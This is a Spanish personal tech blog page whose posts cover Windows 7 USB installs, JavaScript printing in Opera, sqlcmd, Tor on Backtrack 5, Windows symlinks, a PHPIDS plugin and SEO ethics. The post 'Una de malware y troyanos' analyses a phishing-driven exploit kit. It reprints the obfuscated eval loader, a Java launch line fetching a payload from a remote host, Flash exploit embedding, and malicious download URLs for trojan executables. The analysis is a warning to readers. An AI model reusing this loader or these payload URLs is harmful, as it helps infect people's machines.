Te encuentras en: jorgehoya.es - nosoynadie.net >> Artículos

Hola a todos.

Ahora mismo ya estoy instalando un Windows 7 Professional 64bits desde un USB, en mi nuevo ordenador, pero os reconozco que he tardado 1 hora y pico en conseguirlo. ¿Por qué si el proceso parece tan fácil?

Tras buscar cómo instalar Windows 7 desde un USB, bajarme la aplicación Windows 7 USB/DVD download tool, probarla 6 veces y obtener el mismo mensaje de error (en el que decía que no había podido preparar el USB para que sea arrancable), probar con diskpart (y tener problemas con que list disk no mostraba mis discos usb) me decidí a usar la cabeza.

En el mensaje de error hablaba de que en el proceso de preparación del disco USB había intervenido la aplicación bootsect. Sabiendo que viene incluido en el DVD de instalación, subcarpeta 'boot', probé a ejecutarla:

La aplicación bootsect.exe no es una utilidad Win32 válida

¿Qué? Pero si estoy preparando el USB en un portatil con Windows XP 32bits, ¿por qué me dice eso? Tras un ratito de reflexión (no os lo negaré) me di cuenta que estaba queriendo preparar la instalación de un Windows 7 Professional 64bits y que estaba usando su aplicación bootsect (también en 64bits) desde un entorno de 32bits. Clarísimo, a que sí?! Así que me puse a buscar la versión 32bits de bootsect.exe, encontré en Seven Forums, la copié en la carpeta donde instalé Windows 7 USB/DVD, que en mi caso era:

C:\Documents and Settings\nombre_de_usuario\Configuración local\Datos de programa\Apps\Windows 7 USB DVD Download Tool

y tras ejecutarla de nuevo conseguí preparar correctamente el USB.

Windows 7 usb-dvd

¿Sencillo, no? Espero que os valga y que hayáis tardado menos que yo en encontrar la respuesta. Os dejo que tengo que seguir instalando el equipo :-)

Sigue leyendo 'Instalar Windows 7 64bits desde un disco usb, preparado en Windows XP 32bits'

Subir

Imprimir en Opera con javascript

Publicado por Jorge Hoya el 11 enero 2012, 14:56 - Comentarios comentarios (0)
Etiquetas: ,

Hoy me he enterado, dicen que más vale tarde que nunca, que la estándar de imprimir con javascript:

window.print();

no funciona siempre en Opera. Para que en lo haga hay que tener en cuenta que la página debe estar completamente cargada. Si esto se cumple, el siguiente ejemplo funciona:

<input type="button" value="Print this page" onClick="javascript:window.print();" ID="Button1" NAME="Button1">

El problema viene cuando antes de imprimir necesitamos hacer algo sobre el HTML ( abrimos una nueva ventana, modificarlo, etc). Tomemos este ejemplo, en el que en la función ocultar() debe hacer cosas previas a la impresión.

function imprimePagina(){
    ocultar(); // funcion que necesita ocultar información que no debe ser impresa.
    window.print();
    // resto de código;
}

Este ejemplo funciona en IE, Firefox, Chrome pero no en Opera. Para solventarlo podríamos probar con:

function imprimePagina() {
    ocultar(); // funcion que necesita ocultar información que no debe ser impresa.
    window.setTimeout(function () {
        window.print();
    }, 5);
    // resto de código;
}

Que, si no he escrito mal el ejemplo, debiera funcionar. En el caso de que abriéramos una ventana hemos de recordar lo que comentamos al principio: la página, la nueva, debe estar completamente cargada antes de intentar imprimirla en Opera. Como no controlamos en qué momento sucede esto, podemos confiar en el evento load de la ventana para imprimirla.

window.onload = function () {
    window.setTimeout(function () {
        window.print();
    }, 500);
}

Espero que a alguno le valga de algo :-)

Referencia: http://stackoverflow.com/questions/3482428/window-print-not-working-with-opera-browser

Sigue leyendo 'Imprimir en Opera con javascript'

Subir

Una de malware y troyanos

Publicado por Jorge Hoya el 28 octubre 2011, 17:16 - Comentarios comentarios (0)
Etiquetas: ,

Ayer, no sé por qué, al ver uno de tantos correos de SPAM pensé en cómo la gente hace caso a estos correos y lo que eso puede implicar. Aquí va lo que pasó al hacerlo.

Texto del email:

Payment Notification #04743410 
The ACH transaction (ID:04743410 ), recently initiated from your checking account (by you or any other person), was canceled by the other financial institution.
Rejected transaction 
Transaction ID: 04743410 
Reason for rejection: See details http://nacha.org/report/04743410/detailis.php?n=8389 
________________________________________
8307 Sunrise Valley Drive, Suite 100 Herndon, VA 20171 (703)561-1100 2011 NACHA - The Electronic Payment Association 

Para empezar, al pinchar en el enlace que vemos no nos lleva a la dirección indicada, sino a http://madhusundergroup.com/06elcu/index.html, cuyo código HTML es el siguiente:

<html>
<script language="JavaScript" type="text/JavaScript" src="http://www.xmjhx.com/czc/js.js"></script>
<script language="JavaScript" type="text/JavaScript" src="http://www.laserdentmexico.com/images/js.js"></script>
<script language="JavaScript" type="text/JavaScript" src="http://actionmovingjoplin.com/sound/js.js"></script>
</html>

El primer fichero, js.js, nos redirige a un nuevo documento PHP:

document.location='http://losecraft.com/main.php?page=baa0dc5f2ec2ccc7';

Cuyo contenido es más o menos el siguiente (lo tenéis completo en el adjunto):

<html>
<body>
<applet height=1 code='json.Parser.class' width=1 archive='./content/field.jar'><param  val=123 name=p value='e00oMDD=Rfhq%Qu0VqRmDBVoeoju8gi6h83'/></applet>
<font style="display:none;">73^84^72^48^15............</font><script>

function setCharAt(str,q,index) {
	i=index;
	c=String.fromCharCode(1*str[i] + 27);
	return c;
}
md="a";
v325v3=function(){
	try{if(+new Object(123)===123)throw 1;}catch(q){
	return document["getElementsByTagName"]("font")[0].innerHTML["split"]("^");
	}
}
			c=new String();
			i=0;
			s=v325v3.call();
			while(i!=s.length){
				c+=setCharAt(s,123,i);
				i++;
			}
			try{document.tb5tb34t.t4bh34}catch(q){
			eval(c);
			}
		</script></body></html>

Este documento trata de descargar un fichero Java (field.jar) y evaluando, con javascript, la cadena de números que hay dentro de las etiquetas <font style="display:none;"> (ver negrita) construye un IFRAME donde se pone a trabajar (ver fichero 'codigo_del_iframe.txt' adjunto). No entiendo bien el proceso al completo pero creo que veo por donde va:

  1. comprueba qué versión tiene el cliente de Java, Adobe Acrobat y Flash (inicializa estas variables que luego llena):
    var jver=[0,0,0,0],pdfver=[0,0,0,0],flashver=[0,0,0,0];
  2. comprueba qué navegador está usando el cliente:
    initScript:function(){var c=this,a=navigator,e="/",i=a.userAgent||"",g=a.vendor||"",b=a.platform||"",h=a.product||"";
    c.OS=100;if(b){var f,d=["Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win.*CE",22.1,
    "Win.*Mobile",22.2,"Pocket\s*PC",22.3,"",100]
    
  3. averigua cómo lanzar su exploit (con la información anterior)
    if(c.isIE){var f,j=["Msxml2.XMLHTTP","Msxml2.DOMDocument","Microsoft.XMLDOM",
    "ShockwaveFlash.ShockwaveFlash","TDCCtl.TDCCtl","Shell.UIHelper","Scripting.Dictionary",
    "wmplayer.ocx"];for(f=0;f<j.length;f++){if(c.getAXO(j[f])){c.ActiveXEnabled=true;break}}
    c.head=c.isDefined(document.getElementsByTagName)?document.getElementsByTagName("head")[0]:null}
    c.isGecko=(/Gecko/i).test(h)&&(/Gecko\s*\/\s*\d/i).test(i);
    c.verGecko=c.isGecko?c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(i)?RegExp.$1:"0.9"):null;
    c.isSafari=(/Safari\s*\/\s*\d/i).test(i)&&(/Apple/i).test(g);
    c.isChrome=(/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i);c.verChrome=c.isChrome?c.formatNum(RegExp.$1):null;
    c.isOpera=(/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i);
    c.verOpera=c.isOpera&&((/Version\s*\/\s*(\d+\.?\d*)/i).test(i)||1)?parseFloat(RegExp.$1,10):null;
    
  4. Y decide como colar su regalito: usando Java, Flash o Adobe Acrobat

Si, tras evaluar el navegador del cliente y los plugins instalados, decide usar Java comprueba su versión y ruta:

try{pf='\\Program Files\\Java\\jre6\\lib\\ext';
pf2=pf.replace('es','es (x86)');
jtrnew('file:C:'+pf);jtrnew('file:C:'+pf2);
jtrnew('file:D:'+pf);jtrnew('file:D:'+pf2);
jtrnew('file:E:'+pf);jtrnew('file:E:'+pf2);}catch(e){}}spl2()}

e intenta lanzar su exploit (creo que intenta descargar lo mismo de dos direcciones alternativas, a día de hoy, sólo funciona la segunda)

try{var bs=document.createElement("OBJECT");bs.setAttribute("type",smbp);bs.setAttribute("width",0);
bs.setAttribute("height",0);document.body.appendChild(bs);
bs.launch("http: -J"+"-jar -J\\\\91.229.90.32\\pub\\new.avi  http://losecraft.com/w.php?f=20&e=2 none")

Si, por el contrario, decide lanzar el exploit en formato PDF manda uno en función de qué versión se encuentre de Adobre Acrobat:

  • Si versión < 9 => ejecuta http://losecraft.com/content/1ddfp.php?f=20 [ descarga el fichero 'si_pdf_entre_0_y_8-0dfdd.pdf']
  • si versión = 9 => ejecuta http://losecraft.com/content/2ddfp.php?f=20 [ descarga el fichero 'si_pdf_version_9-7c2a2.pdf']

Estos documentos PDF contienen código javascript, que reconozco no he analizado pero que deben ser divertidos.

Si prefiere usar Flash, se descargará el fichero score.swf con el que, pasandole un exploit intentará, ganar una shell y descargar el fichero deseado: wpbt0.dll [1]

{var fname="content/field";
var Flash_obj="<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id'>";
Flash_obj+="<param name='movie' value='"+fname+".swf' />";al="always";
Flash_obj+="<param name='allowScriptAccess' value='"+al+"' />";Flash_obj+="<param name='Play' value='0' />";
Flash_obj+="<embed src='"+fname+".swf' id='swf_id' name='swf_id'";Flash_obj+="allowScriptAccess='always'";
Flash_obj+="type='application/x-shockwave-flash'";Flash_obj+="width='10' height='10'>";Flash_obj+="</embed>";
Flash_obj+="</object>";var oSpan=document.createElement("span");document.body.appendChild(oSpan);oSpan.innerHTML=Flash_obj;} 

Y de paso vuelve a iniciar el proceso con otra página.

{var name=navigator.plugins[i].name;if(name.indexOf('Media Player')!=-1)
{m=document.createElement('IFRAME');m.setAttribute('src','./content/cph2.php?c=20');
m.setAttribute('width',0);m.setAttribute('height',0);document.body['appendChild'](m)}}}
catch(e){} setTimeout(spl7,1000)}function getCN(){return 'content/score.swf'} 

Todo este proceso, de lo más trabajado, es para descargar, en el ordenador del cliente, el troyano wpbt0.dll [1]

Malware

Os dejo una captura del Process Explorer examinando el fichero.

Malware

Comentario para los jugones: si váis cambiando el valor del parámetro 'e' en las peticiones a w.php os descarga distintos ejecutables (algunos con nombres bien conocidos cuyo destino desconozco pero qee, seguro, no nos va a gustar mucho).

  • http://losecraft.com/w.php?f=20 descarga about.exe
  • http://losecraft.com/w.php?f=20&e=1 -> contacts.exe
  • http://losecraft.com/w.php?f=20&e=2 -> calc.exe
  • http://losecraft.com/w.php?f=20&e=3 -> readme.exe

Así que cuidado con qué páginas visitáis ;-)

Sigue leyendo 'Una de malware y troyanos'

Subir

Puede haber veces que no podamos trabajar con un entorno gráfico para ejecutar consultas en un SQLServer, que queramos ejecutar procesos por lotes (ficheros bat) con determinados procesos, o que, simplemente, nos apetezca usar la consola. En esos casos tenemos sqlcmd, una utilidad en línea de comandos para ejecutar sentencias T-SQL. Lo necesario para utilizar este herramienta es ver su ayuda:

Herramienta de l¡nea de comandos de Microsoft (R) SQL Server
Versi¢n 9.00.5000.00 NT INTEL X86
Copyright (c) Microsoft Corporation. Reservados todos los derechos.

Uso: Sqlcmd            [-U Id. de inicio de sesi¢n]          [-P contrasña]
  [-S servidor]            [-H nombre de host]          [-E conexión de confianza]
  [-d usar nombre de base de datos] [-l tiempo de espera de inicio de sesión]     [-t tiempo de espera de consulta]
  [-h encabezados]           [-s separador de columna]      [-w ancho de pantalla]
  [-a tama¤o de paquete]        [-e entrada de eco]        [-I habilitar identificadores entre comillas]
  [-c fin de comando]            [-L[c] listar servidores[salida limpia]]
  [-q "consulta de línea de comandos"]   [-Q "consulta de línea de comandos" y salir]
  [-m nivel de error]        [-V nivel de gravedad]     [-W quitar espacios finales]
  [-u salida Unicode]    [-r[0|1] mensajes a stderr]
  [-i archivo de entrada]         [-o archivo de salida]        [-z nueva contraseña]
  [-f <p ginaDeC¢digos> | i:<p ginaDeC¢digos>[,o:<p ginaDeC¢digos>]] [-Z nueva contrase¤a y salir]
  [-k[1|2] quitar[reemplazar] caracteres de control]
  [-y ancho de pantalla de longitud variable]
  [-Y ancho de pantalla de longitud fija]
  [-p[1] imprimir estad¡sticas[formato dos puntos]]
  [-R usar configuraci¢n regional de cliente]
  [-b anular por lotes si hay errores]
  [-v var = "valor"...]  [-A conexi¢n de administrador dedicada]
  [-X[1] deshabilitar comandos, secuencia de comandos de inicio, variables de entorno [y salir]]
  [-? mostrar resumen de sintaxis]

Conexión con autenticación de Windows a la "instancia" del servidor "host"

sqlcmd -S host\instancia 

Conexión con autenticación de Windows a la base de datos "BaseDeDatos" de la "instancia" del servidor "host"

sqlcmd -S host\instancia -d BaseDeDatos

Conexión con autenticación de SQLServer a la "instancia" del servidor "host" usando las credenciales usuario + clave

sqlcmd -U usuario -P clave -S host\instancia

Una vez conectados lo único que debemos recordar es que para ejecutar sentencias T-SQL que escribamos hemos de usar la sentencia GO. Veamos una ejemplo sencillo.

-- Conexión: 
sqlcmd -S host\sqlexpress
-- Establecemos la base de datos:
use database;
go
-- Ejecutamos una consulta:
select * from tabla;
go
nombre         apellido1         apellido2
---------------------------------------------------------------------
Antonio         Martinez         Luzco
Mirella         Abad             Nothing

(2 filas afectadas) 

Nos conectamos de nuevo y configuramos la conexión de modo que nos quite los espacios al final (opción -W), fijando el separador de columas ( -s "|") y nos conecte a la base de datos "BaseDeDatos":

sqlcmd -S hos\instancia -d BaseDeDatos -s "|" -W
-- Ejecutamos una consulta:
select * from tabla;
go
nombre|apellido1|apellido2
---------------------------------------------------------------------
Antonio|Martinez|Luzco
Mirella|Abad|Nothing

(2 filas afectadas)

Como veis es una herramienta sencilla pero pontente. Aquí os dejo más referencias sobre sqlcmd, Ciao

Sigue leyendo 'Sqlcmd: ejecutar sentencias T-SQL en SqlServer desde la línea de comandos'

Subir

Instalación de Tor en Backtrack 5

Publicado por Jorge Hoya el 12 julio 2011, 12:15 - Comentarios comentarios (2)
Etiquetas: ,

Como muchos de los aficionados a esto de la seguridad informática tenía instalada Backtrack 4 en una máquina virtual. Cuando la instalé me dije: "de esta vez no pasa que aprenda a usarla". Como os imaginaréis, los que ya me conocéis, sólo entré unas veces y cuando lo hice demostré mis tremendos conocimientos de Unix con los brutales comandos:

apt-get udpate && apt-get upgrade

y

sudo ./pentest/exploit/framework3/msfudpate

y ya está! A que domino el mundo de Linux :-) Siguiendo en mi línea de 'explosiones de actividad' cuando salió la versión 5 de Backtrack me dije: "ahora sí, de esta no pasa". Lo cierto es que de momento la fiebre linuxera me está durando algo más que la vez anterior y he cambiado la versión 4 por la 5. Vale, ¿ya ahora qué? En este punto es donde siempre me quedaba. Como lo que más utilizo en mi pruebas con Windows es Tor me dije, ¿por qué no lo instalo y así puedo enredar con tranquilidad en los juguetes que trae la distribución? Pués de eso va este mini howto: Instalar Tor en Backtrack 5 en 2 sencillos pasos.

1. Instalamos Tor como dice [1] pero no instalamos Privoxy porque:

apt-get install tor tor-geoipdb

ya nos instala Polipo [2] (un servidor proxy que hace las funciones de Privoxy) que configuramos como dice [3] para decirle que utilice Tor. Editamos su fichero de configuración y añadimos:

socksParentProxy = "localhost:9050"
socksProxyType = socks4

Para ejecutar aplicaciones a través de un determinado proxy tenemos ya instalada, entre otras, proxychains (hay más pero fue la primera que encontré) que rápidamente podemos configurar para que use Tor. Editamos /etc/proxychains.conf y vemos que la instalación de Tor ya modificó el fichero por nosotros (qué majo!).

2. Instalamos lynx para probar el funcionamiento de Tor accediendo a WhatIsMyIp (paso opcional), probamos a visitar www.whatismyip.com con lynx conectando a través de nuestra instalación de Tor:

	proxychains lynx http://www.whatismyip.com

Pues ya está!! Aquí os van un par de capturas.

Lynx negociando la conexion con Tor
Lynx negociando la conexión con Tor.
Lynx accediendo a Whatsmyip.com
Lynx accediendo a Whatismyip.com a través de Tor

 

Por lo sencillo que ha resultado diréis que me podía haber ahorrado el post pero si las otras veces que instalé Backtrack hubiera encontrado un sencillo artículo como este ahora sería el Arguiñano del Backtrack :-)

[1] http://www.binbert.com/blog/2011/06/how-to-install-tor-on-backtrack-5/
[2] http://www.pps.jussieu.fr/~jch/software/polipo/
[3] http://www.pps.jussieu.fr/~jch/software/polipo/tor.html

Sigue leyendo 'Instalación de Tor en Backtrack 5'

Subir

SQL Live Monitor

Hoy, buscando con programas de monitorización de un SQLServer, me he encontrado, entre toda la oferta de programas de pago, con SQL Live Monitor [1], un monitor de SQLServer ligero y gratuito. Según los autores:

una aplicación en .NET que proporciona información del estado "en tiempo real" de la instación de SQL Server destino. No necesita instalación, muestra de información en tiempo real, y posibilidad de exportarla a ficheros para su posterior análisis. Además, también captura información SQL para su tratamiento usando PAL [2] (Performance Analysis of Logs)

De no tener nada a tener esta ayuda, va un trecho :-)

Sigue leyendo 'SQL Live Monitor: un monitor de SQLServer ligero y gratuito'

Subir

Enlaces simbólicos en Windows

Publicado por Jorge Hoya el 14 marzo 2011, 19:26 - Comentarios comentarios (1)
Etiquetas: ,

Pensando en una posible solución a un problema que tengo en un 2003 Server, llego a mi mente la posibilidad de crear vínculos simbólicos en Windows. Lo cierto es que nunca los había tenido que usar hasta hoy, y no sé si son la solución que estoy buscando, pero como me ha parecido curioso os lo comento.

Tras buscar un poco [2] y [3] encontré que para hacer lo mismo hacen los chicos de unix con el comando "ln" [1] en Windows, con discos formateados con NTFS, tenemos dos opciones:

La verdad es que la sintaxis de ámbos es tan sencilla que con que la leáis la entenderéis :-) Para el comando mklink:

MKLINK [[/D] | [/H] | [/J]] Link Target

        /D      Creates a directory symbolic link.  Default is a file
                symbolic link.
        /H      Creates a hard link instead of a symbolic link.
        /J      Creates a Directory Junction.
        Link    specifies the new symbolic link name.
        Target  specifies the path (relative or absolute) that the new link
                refers to.

En el caso de junction:

usage: junction [-s] [-q] 
       -q     Don't print error messages (quiet)

       -s     Recurse subdirectories

usage: junction [-d]  []
       -d     Delete the specified junction
       example: junction d:\link c:\winnt

Tan pronto como decida si los enlaces simbólicos son la solución que buscaba os lo cuento. Ciao.

Ah! aquí os dejo los enlaces.

  1. Comando 'ln' en Unix
  2. Windows equivalent command to unix “ln”
  3. How do I create a symbolic link in Windows?
  4. NTFS symbolic link

PD. Otra cosa que me encontré, en la búsqueda, fue la Guía de Referencia de comandos de Windows (a partir de Windows Vista) que creo es un buen documento a tener.

Sigue leyendo 'Enlaces simbólicos en Windows'

Subir

Anonymous

A raiz del email de un compañero sobre la acción de los Anonymous sobre la firma de seguridad HBGary Federal [1] he visto un ejemplo más de cómo corre la información en Internet.

Como podéis leer en el artículo que me llegó [1] hablan del CMS pero no especifican cuál era. Picado por la más sana de las curiosidades me pregunto por cuál es ese CMS en cuestión que, según muchos de los comentarios dejados en diversas páginas, es tan malo. Lo primero que hago (en realidad no hice eso, porque uno es un poco freak para algunas cosas) busco en internet 'which cms HBGary' [2] y me encuentro con que mi pregunta es una estupidez y que muchos ya la han resuelto. El CMS en cuestión se llama CMSes (ver [3], [4], [5] y [6])

Uno que es un cabezota se niega a aceptar que es medio estúpido y decide confirmar que ese es el CMS. Miro en Open Source CMS [7] y no encuentro nada [8] ¿será un CMS de pago o alguien ha metido la pata traduciendo la noticia en inglés? Decidid vosotros pero hasta que encuentre el nombre del dichoso CMS apuesto por lo segundo ;-)

Ah, se me olvidaba. ¿Habéis visto cómo, y con qué calidad, corre la información por Internet? Miedo que me da!!! :-)


[1] http://arstechnica.com/tech-policy/news/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack.ars/
[2] http://www.google.es/search?q=which+cms+HBGary
[3] http://redorbita.wordpress.com/2011/02/23/el-ataque-de-anonymous-a-hbgary/
[4] http://kr0no.diosdelared.com/?coment=9507
[5] http://www.blackploit.com/2011/02/el-ataque-de-anonymous-hbgary.html
[6] http://www.meneame.net/story/como-anonymous-hackeo-hbgary-eng
[7] http://php.opensourcecms.com/
[8] http://php.opensourcecms.com/scripts/search.php?siteSearchTerm=CMSes

Sigue leyendo 'Los Anonymous y HBGary Federal o cómo corre la información por Internet'

Subir

jhc_phpids: PHPIDs para Textpattern

Publicado por Jorge Hoya el 11 noviembre 2010, 09:13 - Comentarios comentarios (0)
Etiquetas: ,

PHPIDS for Textpattern

Recientemente, en concreto el 28/08/2010, se descubrió una vulnerabilidad en nuestro querido Textpattern, a partir de ahora TXP por economía del lenguaje, que supuestamente permitía incluir ficheros externos y ejecutarlos (una definición de andar por casa para el término 'Remote File Inclusion Vulnerability' o RFI). Como siempre que sale una vulnerabilidad en una aplicación Web no tardan en aparecer visitantes curiosos que intentan comprobar si el aviso es cierto e intentar explotarlo (como imaginaréis no he estado exento de dichas pruebas).

PHPIDs actuando en Textpattern
Ejemplos de pruebas que algunos han realizado en mi web.

Teniendo en mente estos problemas de seguridad, hace tiempo pensé en por qué no aportar una capa más de seguridad a TXP. De muchos es sabido la labor que los IDS realizan en el mundo de la seguridad informática, entre los que me cuento, así que por qué no incluir uno en TXP. Sobre cuál no tuve duda: PHPIDS. Con la firme idea de crear un plugin que incorporase las cualidades de PHPIDS me puse a trabajar, no os diré hace cuanto, hasta que saqué la primera versión funcional del mismo, al que llamé jhc_phpids: PHPIDS para Textpattern.

En estas primeras versiones lo que me ha interesado es tener un plugin sencillo de instalar (en cinco pasos tal y como podéis ver en la Wiki) y que nada más hacerlo se tuviera una versión funcional de PHPIDS; y el listado de los futuros posibles ataques (todo ello desde una nueva pestaña del Gestor). Así mismo, aprovechando que el plugin no será estático, sino que tendrá una evolución tanto por fallos como por los cambios de PHPIDS, lo he colgado en Googe Code donde espero poder manejar mejor dicha evolución, vuestras posibles incidencias y, por qué no, probar el control de fuentes con Subversion.

Para una configuración más detallada de PHPIDS os recomiendo leer su documentación.

PHPIDs actuando en Textpattern
Pantalla con el error 500 que jhc_phpids mostrará ante alguna petición algo rara

Sigue leyendo 'jhc_phpids: PHPIDs para Textpattern'

Subir

Os voy a contar un secreto que no muchos de los que se dedican al desarollo Web cuentan, y no me incluyo entre ellos porque nunca supe demasiado del tema y porque cada día juego menos con la Web: no sé mucho de SEO (o mejor dicho, Optimización para los motores de búsqueda). ¿Y por qué os cuento esto?

Hace unos días un amigo me preguntó por qué cuando en Google (por decir un buscador) buscaba palabras muy relacionadas con su empresa, en su ciudad, había comenzado a aparecer, a la misma altura que su Web o mejor dependiendo de la combinación de palabras, la Web de la empresa de uno de la competencia. Curioso que es uno, me puse a investigar qué era lo que tenía de mágico esa nueva Web que tanto lo preocupaba.

A simple vista la Web era bastante sencilla en su diseño y escasa en cuanto a su contenido. Intentando aplicar algunas de las nociones de SEO que poseía (densidad de palabras, textos bien redactados, estructura sencilla, etc) no veía cómo había conseguido posicionar esa Web donde estaba. Tras un rato de investigar y juntar las piezas llegué a esta conclusión: la Web en cuestión era un desarrollo a medida, creado por una empresa de guías teléfonicas de españa (QDQ - http://es.qdq.com/), para promocionar algunos de sus clientes. En este desarrollo a medida he visto varias cosas relevantes:

  1. Si es necesario se registra un nuevo dominio para el cliente, con un nombre más pensado en los motores de búsqueda que en el nombre real del Cliente.
  2. Se utiliza javascript para modificar al vuelo los enlaces internos de la Web para, en ellos, incluir el nombre del cliente y así potenciarlo para los buscadores.
  3. El sitio Web creado es tan sencillo en su texto que más bien parece únicamente pensado para los buscadores que para las personas.

No voy a entrar en si el modo técnico de hacerlo es mejorable o no (aquí os dejo una prueba de concepto de cómo modificar los enlaces con javascript manteniendo la navegación), voy a hacerlo en las técnicas usadas. Todos sabemos que para que nuestra página aparezca en los primeros puestos es necesario gustarle a los buscadores, en eso radica el bello arte del desarrollo Web. También hemos leido sobre el oscuro poder que tienen los enlaces externos hacia nuestra Web (nadie sabe cuánto poder pero por si acaso más vale conseguirlos) y la densidad de palabras de nuestras páginas. Pero, os pregunto, ¿tan necesarios son como para que una empresa se dedique a crear páginas Web pensadas para buscadores (como ellos mismos venden) más que para personas? ¿Y por qué digo esto?

Porque una Web en la que el nombre de la empresa aparece en los encabezados de primer nivel, de segundo y tercer nivel (una vez como h1, dos veces como h2 y una vez como h3) no me parece que respete mucho la estructura semántica del documento. Porque vale que la dirección sea importante, ¿pero como para que sea un encabezado de tercer nivel? Porque, en mi opinión, una Web en la que la media de palabras (que no sean conjunciones, preposiciones o artículos) oscile sobre las 60 no la considero demasiado informativa para un lector humano. Vale que un texto breve bien redactado puede transmitir mucha información pero me da a mi que en el caso de las Webs creadas como el ejemplo esto no ocurre. Así todo os dejo al final un PDF con la ejecución de SeoQuake sobre un dominio de los creados por QDQ.

Analisis de la Web de ejemplo mediante Fangs
Análisis de la Web de ejemplo mediante Fangs


Estas técnicas de mejorar la densidad de palabras, la importancia de las mismas y de ganar enlaces externos me recuerdan a las viejas, y penalizadas alguna de ellas, técnicas de intercambio de links y a la inclusión de textos ocultos para el usuario humano pero no para el buscador. Ojo, no veo mal que una empresa invierta dinero en publicitar su Web, ¿pero hacerlo de este modo? Creando una web paralela, apoyada por los enlaces externos generados por un directorio de servicios como es QDQ (nada criticable en esto) pero tan pensada para los buscadores que olvidan al usuario. ¿es realmente necesario registrar nuevos dominios con nombres que no tengan casi que ver que el verdadero nombre del cliente? Ej: se registra un dominio nuevo "gimnasio-fitness-madrid.es" para el cliente "Work Station Fitness Center", ¿alguno le ve la relación? Imaginad que se impone esta forma de trabajar, ¿en cuánto tiempo nos quedaremos sin nombres coherentes para los dominios? ¿Tendrá sentido encontrar webs de fruterías cuyo dominio hable de gimnasios?

Puede que alguno no entienda lo que digo, otros que no lo compartan pero de todos vosotros me gustaría una respuesta. Se me olvidaba, un ejemplo de estas Webs a medida es http://www.gimnasio-fitness-madrid.es/es/presentacion/

Sigue leyendo 'La ética del desarrollo Web frente a las técnicas del posicionamiento'

Subir